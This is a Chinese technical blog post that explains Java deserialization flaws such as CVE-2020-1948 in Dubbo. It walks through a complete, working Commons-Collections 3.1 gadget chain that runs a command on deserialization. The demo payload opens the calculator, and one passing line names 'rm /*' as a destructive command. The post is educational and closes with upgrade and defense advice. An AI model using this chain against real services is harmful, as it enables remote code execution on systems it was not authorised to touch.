前言

这周收到外部合作同事推送的一篇文章,【漏洞通告】Apache Dubbo Provider默认反序列化远程代码执行漏洞(CVE-2020-1948)通告。

按照文章披露的漏洞影响范围,可以说是当前所有的 Dubbo 的版本都有这个问题。

无独有偶,这周在 Github 自己的仓库上推送几行改动,不一会就收到 Github 安全提示,警告当前项目存在安全漏洞CVE-2018-10237。

可以看到这两个漏洞都是利用反序列化进行执行恶意代码,可能很多同学跟我当初一样,看到这个一脸懵逼。好端端的反序列化,怎么就能被恶意利用,用来执行的恶意代码?

这篇文章我们就来聊聊反序列化漏洞,了解一下黑客是如何利用这个漏洞进行攻击。

反序列化漏洞

在了解反序列化漏洞之前,首先我们学习一下两个基础知识。

Java 运行外部命令

Java 中有一个类 Runtime,我们可以使用这个类执行执行一些外部命令。

下面例子中我们使用 Runtime 运行打开系统的计算器软件。

// 仅适用macos
Runtime.getRuntime().exec("open -a Calculator ");

有了这个类,恶意代码就可以执行外部命令,比如执行一把 rm /*

序列化/反序列化

如果经常使用 Dubbo,Java 序列化与反序列化应该不会陌生。

一个类通过实现 Serializable接口,我们就可以将其序列化成二进制数据,进而存储在文件中,或者使用网络传输。

其他程序可以通过网络接收,或者读取文件的方式,读取序列化的数据,然后对其进行反序列化,从而反向得到相应的类的实例。

下面的例子我们将 App 的对象进行序列化,然后将数据保存到的文件中。后续再从文件中读取序列化数据,对其进行反序列化得到 App 类的对象实例。

public class App implements Serializable {private String name;private static final long serialVersionUID = 7683681352462061434L;private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();System.out.println("readObject name is "+name);Runtime.getRuntime().exec("open -a Calculator");}public static void main(String[] args) throws IOException, ClassNotFoundException {App app = new App();app.name = "程序通事";FileOutputStream fos = new FileOutputStream("test.payload");ObjectOutputStream os = new ObjectOutputStream(fos);//writeObject()方法将Unsafe对象写入object文件os.writeObject(app);os.close();//从文件中反序列化obj对象FileInputStream fis = new FileInputStream("test.payload");ObjectInputStream ois = new ObjectInputStream(fis);//恢复对象App objectFromDisk = (App)ois.readObject();System.out.println("main name is "+objectFromDisk.name);ois.close();}

执行结果:

readObject name is 程序通事
main name is 程序通事

并且成功打开了计算器程序。

当我们调用 ObjectInputStream#readObject读取反序列化的数据,如果对象内实现了 readObject方法,这个方法将会被调用。

源码如下:

反序列化漏洞执行条件

上面的例子中,我们在 readObject 方法内主动使用Runtime执行外部命令。但是正常的情况下,我们肯定不会在 readObject写上述代码,除非是内鬼 ̄□ ̄||

如果可以找到一个对象,他的readObject方法可以执行任意代码,那么在反序列过程也会执行对应的代码。我们只要将满足上述条件的对象序列化之后发送给先相应 Java 程序,Java 程序读取之后,进行反序列化,就会执行指定的代码。

为了使反序列化漏洞成功执行需要满足以下条件:

  1. Java 反序列化应用中需要存在序列化使用的类,不然反序列化时将会抛出  ClassNotFoundException 异常。

  2. Java 反序列化对象的 readObject方法可以执行任何代码,没有任何验证或者限制。

引用一段网上的反序列化攻击流程,来源:https://xz.aliyun.com/t/7031

  1. 客户端构造payload(有效载荷),并进行一层层的封装,完成最后的exp(exploit-利用代码)

  2. exp发送到服务端,进入一个服务端自主复写(也可能是也有组件复写)的readobject函数,它会反序列化恢复我们构造的exp去形成一个恶意的数据格式exp_1(剥去第一层)

  3. 这个恶意数据exp_1在接下来的处理流程(可能是在自主复写的readobject中、也可能是在外面的逻辑中),会执行一个exp_1这个恶意数据类的一个方法,在方法中会根据exp_1的内容进行函处理,从而一层层地剥去(或者说变形、解析)我们exp_1变成exp_2、exp_3......

  4. 最后在一个可执行任意命令的函数中执行最后的payload,完成远程代码执行。

Common-Collections

下面我们以 Common-Collections 的存在反序列化漏洞为例,来复现反序列化攻击流程。

首先我们在应用内引入 Common-Collections 依赖,这里需要注意,我们需要引入 3.2.2 版本之前,之后的版本这个漏洞已经被修复。

<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version>
</dependency>

PS:下面的代码只有在 JDK7 环境下执行才能复现这个问题。

首先我们需要明确,我们做一系列目的就是为了让应用程序成功执行 Runtime.getRuntime().exec("open -a Calculator")

当然我们没办法让程序直接运行上述语句,我们需要借助其他类,间接执行。

Common-Collections存在一个 Transformer,可以将一个对象类型转为另一个对象类型,相当于 Java Stream 中的 map 函数。

Transformer有几个实现类:

  • ConstantTransformer

  • InvokerTransformer

  • ChainedTransformer

其中 ConstantTransformer用于将对象转为一个常量值,例如:

Transformer transformer = new ConstantTransformer("程序通事");
Object transform = transformer.transform("楼下小黑哥");
// 输出对象为 程序通事
System.out.println(transform);

InvokerTransformer将会使用反射机制执行指定方法,例如:

Transformer transformer = new InvokerTransformer("append",new Class[]{String.class},new Object[]{"楼下小黑哥"}
);
StringBuilder input=new StringBuilder("程序通事-");
// 反射执行了 input.append("楼下小黑哥");
Object transform = transformer.transform(input);
// 程序通事-楼下小黑哥
System.out.println(transform);

ChainedTransformer 需要传入一个 Transformer[]数组对象,使用责任链模式执行的内部 Transformer,例如:

Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"open -a Calculator"})
};Transformer chainTransformer = new ChainedTransformer(transformers);
chainTransformer.transform("任意对象值");

通过 ChainedTransformer 链式执行 ConstantTransformerInvokerTransformer逻辑,最后我们成功的运行的 Runtime语句。

不过上述的代码存在一些问题,Runtime没有继承 Serializable接口,我们无法将其进行序列化。

如果对其进行序列化程序将会抛出异常:

我们需要改造以上代码,使用 Runtime.class 经过一系列的反射执行:

String[] execArgs = new String[]{"open -a Calculator"};final Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class}, execArgs),
};

刚接触这块的同学的应该已经看晕了吧,没关系,我将上面的代码翻译一下正常的反射代码一下:

((Runtime) Runtime.class.getMethod("getRuntime", null).invoke(null, null)).exec("open -a Calculator");

TransformedMap

接下来我们需要找到相关类,可以自动调用Transformer内部方法。

Common-Collections内有两个类将会调用 Transformer

  • TransformedMap

  • LazyMap

下面将会主要介绍 TransformedMap触发方式,LazyMap触发方式比较类似,感兴趣的同学可以研究这个开源库@ysoserial CommonsCollections1

Github 地址:https://github.com/frohoff/ysoserial

TransformedMap 可以用来对 Map 进行某种变换,底层原理实际上是使用传入的 Transformer 进行转换。

Transformer transformer = new ConstantTransformer("程序通事");Map<String, String> testMap = new HashMap<>();
testMap.put("a", "A");
// 只对 value 进行转换
Map decorate = TransformedMap.decorate(testMap, null, transformer);
// put 方法将会触发调用 Transformer 内部方法
decorate.put("b", "B");for (Object entry : decorate.entrySet()) {Map.Entry temp = (Map.Entry) entry;if (temp.getKey().equals("a")) {// Map.Entry setValue 也会触发 Transformer 内部方法temp.setValue("AAA");}
}
System.out.println(decorate);

输出结果为:

{b=程序通事, a=程序通事}

AnnotationInvocationHandler

上文中我们知道了,只要调用 TransformedMapput 方法,或者调用 Map.EntrysetValue方法就可以触发我们设置的 ChainedTransformer,从而触发 Runtime 执行外部命令。

现在我们就需要找到一个可序列化的类,这个类正好实现了 readObject,且正好可以调用 Map put 的方法或者调用 Map.EntrysetValue

Java 中有一个类 sun.reflect.annotation.AnnotationInvocationHandler,正好满足上述的条件。这个类构造函数可以设置一个 Map 变量,这下刚好可以把上面的 TransformedMap 设置进去。

不过不要高兴的太早,这个类没有 public 修饰符,默认只有同一个包才可以使用。

不过这点难度,跟上面一比,还真是轻松,我们可以通过反射获取从而获取这个类的实例。

示例代码如下:

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 随便使用一个注解
Object instance = ctor.newInstance(Target.class, exMap);

完整的序列化漏洞示例代码如下 :

String[] execArgs = new String[]{"open -a Calculator"};final Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class}, execArgs),
};
//
Transformer transformerChain = new ChainedTransformer(transformers);Map<String, String> tempMap = new HashMap<>();
// tempMap 不能为空
tempMap.put("value", "you");Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 随便使用一个注解
Object instance = ctor.newInstance(Target.class, exMap);File f = new File("test.payload");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(instance);
oos.flush();
oos.close();ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
// 触发代码执行
Object newObj = ois.readObject();
ois.close();

上面代码中需要注意,tempMap需要一定不能为空,且 key 一定要是 value。那可能有的同学为什么一定要这样设置?

tempMap不能为空的原因是因为 readObject 方法内需要遍历内部 Map.Entry.

至于第二个问题,别问,问就是玄学~好吧,我也没研究清楚--,有了解的小伙伴的留言一下

最后总结一下这个反序列化漏洞代码执行链路如下:

Common-Collections 漏洞修复方式

在 JDK 8 中,AnnotationInvocationHandler 移除了 memberValue.setValue的调用,从而使我们上面构造的 AnnotationInvocationHandler+TransformedMap失效。

另外 Common-Collections3.2.2 版本,对这些不安全的 Java 类序列化支持增加了开关,默认为关闭状态。

比如在 InvokerTransformer类中重写 readObject,增相关判断。如果没有开启不安全的类的序列化则会抛出UnsupportedOperationException异常

Dubbo 反序列化漏洞

Dubbo 反序列化漏洞原理与上面的类似,但是执行的代码攻击链与上面完全不一样,这里就不再复现的详细的实现的方式。

Dubbo 在 2020-06-22 日发布 2.7.7 版本,升级内容名其中包括了这个反序列化漏洞的修复。不过从其他人发布的文章来看,2.7.7 版本的修复方式,只是初步改善了问题,不过并没有根本上解决的这个问题。

防护措施

最后作为一名普通的开发者来说,我们自己来修复这种漏洞,实在不太现实。

术业有专攻,这种专业的事,我们就交给个高的人来顶。

我们需要做的事,就是了解的这些漏洞的一些基本原理,树立的一定意识。

其次我们需要了解一些基本的防护措施,做到一些基本的防御。

如果碰到这类问题,我们及时需要关注官方的新的修复版本,尽早升级,比如 Common-Collections 版本升级。

有些依赖 jar 包,升级还是方便,但是有些东西升级就比较麻烦了。就比如这次 Dubbo 来说,官方目前只放出的 Dubbo 2.7 版本的修复版本,如果我们需要升级,需要将版本直接升级到 Dubbo 2.7.7。

如果你目前已经在使用 Dubbo 2.7 版本,那么升级还是比较简单。但是如果还在使用 Dubbo 2.6 以下版本的,那么就麻烦了,没办法直接升级。

Dubbo 2.6 到 Dubbo 2.7 版本,其中升级太多了东西,就比如包名变更,影响真的比较大。

就拿我们系统来讲,我们目前这套系统,生产还在使用 JDK7。如果需要升级,我们首先需要升级 JDK。

其次,我们目前大部分应用还在使用 Dubbo 2.5.6 版本,这是真的,版本就是这么低。

这部分应用直接升级到 Dubbo 2.7 ,改动其实非常大。另外有些基础服务,自从第一次部署之后,就再也没有重新部署过。对于这类应用还需要仔细评估。

最后,我们有些应用,自己实现了 Dubbo SPI,由于 Dubbo 2.7 版本的包路径改动,这些 Dubbo SPI 相关包路径也需要做出一些改动。

所以直接升级到 Dubbo 2.7 版本的,对于一些老系统来讲,还真是一件比较麻烦的事。

如果真的需要升级,不建议一次性全部升级,建议采用逐步升级替换的方式,慢慢将整个系统的内 Dubbo 版本的升级。

所以这种情况下,短时间内防御措施,可参考玄武实验室给出的方案:

如果当前 Dubbo 部署云上,那其实比较简单,可以使用云厂商的提供的相关流量监控产品,提前一步阻止漏洞的利用。

帮助资料

  1. http://blog.nsfocus.net/deserialization/

  2. http://www.beesfun.com/2017/05/07/JAVA反序列化漏洞知识点整理/

  3. https://xz.aliyun.com/t/2041

  4. https://xz.aliyun.com/t/2028

  5. https://www.freebuf.com/vuls/241975.html

  6. http://rui0.cn/archives/1338

  7. http://apachecommonstipsandtricks.blogspot.com/2009/01/transformedmap-and-transformers-plug-in.html

  8. https://security.tencent.com/index.php/blog/msg/97

  9. JAVA反序列化漏洞完整过程分析与调试

  10. https://security.tencent.com/index.php/blog/msg/131

  11. https://paper.seebug.org/1264/#35

有道无术,术可成;有术无道,止于术

欢迎大家关注Java之道公众号

好文章,我在看❤️

Dubbo 高危漏洞!原来都是反序列化惹得祸相关推荐

  1. 腾讯服务器漏洞修复,腾讯安全玄武实验室提交Apache Dubbo高危漏洞,官方已发布修复版本...

    原标题:腾讯安全玄武实验室提交Apache Dubbo高危漏洞,官方已发布修复版本 6月23号,开源框架Apache Dubbo披露了一项默认反序列化远程代码执行漏洞(CVE-2020-1948)和相 ...

  2. 史上最强蝴蝶效应 - 都是道士惹的祸

    假如当时丘处机没有路过牛家村. 那么,秘密跟踪他的那些金兵就不会死在郭,杨二人的院子里,同样,完颜洪烈也不会见到包惜弱而对她念念不忘. 那些金兵不会死在丘处机手里, 而郭,杨两家以后不会受到牵连. 郭 ...

  3. 都是“世界杯”惹得祸

    世界杯,让今年的夏天充满雄性荷尔蒙的味道.为进球呐喊,为丢球懊恼,球迷们的激情得到充分释放,啤酒.夜宵更让6.7月的夏夜变得愈加丰富多彩.精彩的球场,同样充满无奈和叹息,在绿茵场上叱咤的球星,稍不留神 ...

  4. Apache Dubbo 高危漏洞通告

    前沿技术早知道,弯道超车有希望 积累超车资本,从关注DD开始 作者:360CERT, 图文编辑:xj 来源:https://www.oschina.net/news/178522 报告编号:B6-20 ...

  5. 墨菲定律:都是温度惹的祸

    作者:卓晴博士,清华大学自动化系 更新时间:2020-08-14 Friday 卓大,这是今天西部赛三个采用恩智浦的队伍发生了,相同的问题.真的不是场地原因吗?我们懂不能做温室的花朵,但是室外阳光斜射 ...

  6. 都是月饼惹的祸 124盒月饼太甜太温柔(结尾有彩蛋)

    PMCAFF(www.pmcaff.com):最大互联网产品社区,是百度,腾讯,阿里等产品经理的学习交流平台.定期出品深度产品观察,互联产品研究首选. 数说:数字趣说产品,颠覆你的想象.本文由PMCA ...

  7. Session丢失,都是CDN惹的祸

    周六下午,正在外面吃饭,运营的同事火急火燎地给我打电话,说是网站出问题了,用户登录不了,而且这种情况也不是全部,只有部分地区有问题.没办法,只能回到家里找问题,打开代码,翻来覆去地找问题,搞了整整一下 ...

  8. 心理学上的被动_心理学教你认识孤僻、被动、社交恐惧症,它们都是内向惹的祸...

    一百多年前,刚刚诞生不久的心理学界出了一场公案:大师弗洛伊德和他的弟子荣格吵了起来,最终分道扬镳. 佛洛依德本来把荣格视为事业上的继承人,但由于他把一切潜意识都归于性渴望的主张遭到了荣格的反对,两人最 ...

  9. 都是远程办公惹的祸!搜狗输入法为错误推送地震预警信息致歉

    今日凌晨,搜狗输入法在官方微博为错误推送地震预警信息一事致歉,称此次错误推送为技术团队于3日上午进行了一轮新技术测试,但由于相关人员在家远程办公,对服务器进行了误操作,因此错误地推送了地震预警信息. ...

最新文章

  1. 摩尔线程推出首款数据中心级全栈功能GPU:MTT S2000
  2. php人员权限管理(RBAC)
  3. linux 动态解析,Linux 动态函式库解析[转]Linux -电脑资料
  4. Blockchain Patent Players and domain
  5. 全国计算机等级考试题库二级C操作题100套(第60套)
  6. bootstrapTable表格分页后,处理逻辑后刷新跳回第一页,没留在当前页的解决办法
  7. linux常用命令和操作笔记
  8. python中3个while循环_Python3 里怎么让一个包含 while 循环的异步函数不断运行,而不阻塞正常的代码流程...
  9. 数据结构和算法笔记:基数排序
  10. VirtualBox不能共享剪贴板,有两种情形
  11. Java单元测试框架 - JUnit
  12. 黑盒(功能)测试基本方法
  13. linux查看进程的代码,Linux ps 查看进程(示例代码)
  14. 以太坊生态缺陷导致的一起亿级代币盗窃大案
  15. MVC简介——一篇非常简单易懂的介绍
  16. 网站怎么快速优化关键词排名?
  17. uni-app开发的微信小程序隐藏返回首页按钮
  18. java.sql.SQLException: Access denied for user ''@'localhost' (using password: YES)出现原因及解决方法
  19. Linux多功能下载机(Arias2)
  20. 沈从文——一个战士不是战死沙场,便是回到故乡

热门文章

  1. c语言OBJECT数组,Objective-C中NSArray的基本用法示例
  2. query.exec报QSqlQuery::exec: database not open
  3. html禁止输入字符,javascript – 如何限制在html表中使用的contenteditable中的字符输入...
  4. php+当前+日期+函数是,php时间日期的处理函数
  5. (软件工程复习核心重点)第六章实现和测试-第一节:编码
  6. (软件工程复习核心重点)第五章详细设计-第三节:过程设计工具
  7. (计算机组成原理)第一章计算机系统概述-王道重点习题及杂项总结
  8. (计算机组成原理)第二章数据的表示和运算-第二节2:原码、反码、补码和移码的作用
  9. 从零开始学PowerShell(4)数据的选择、排序与格式化
  10. MongoDB未授权访问漏洞记录(端口:27017,37017)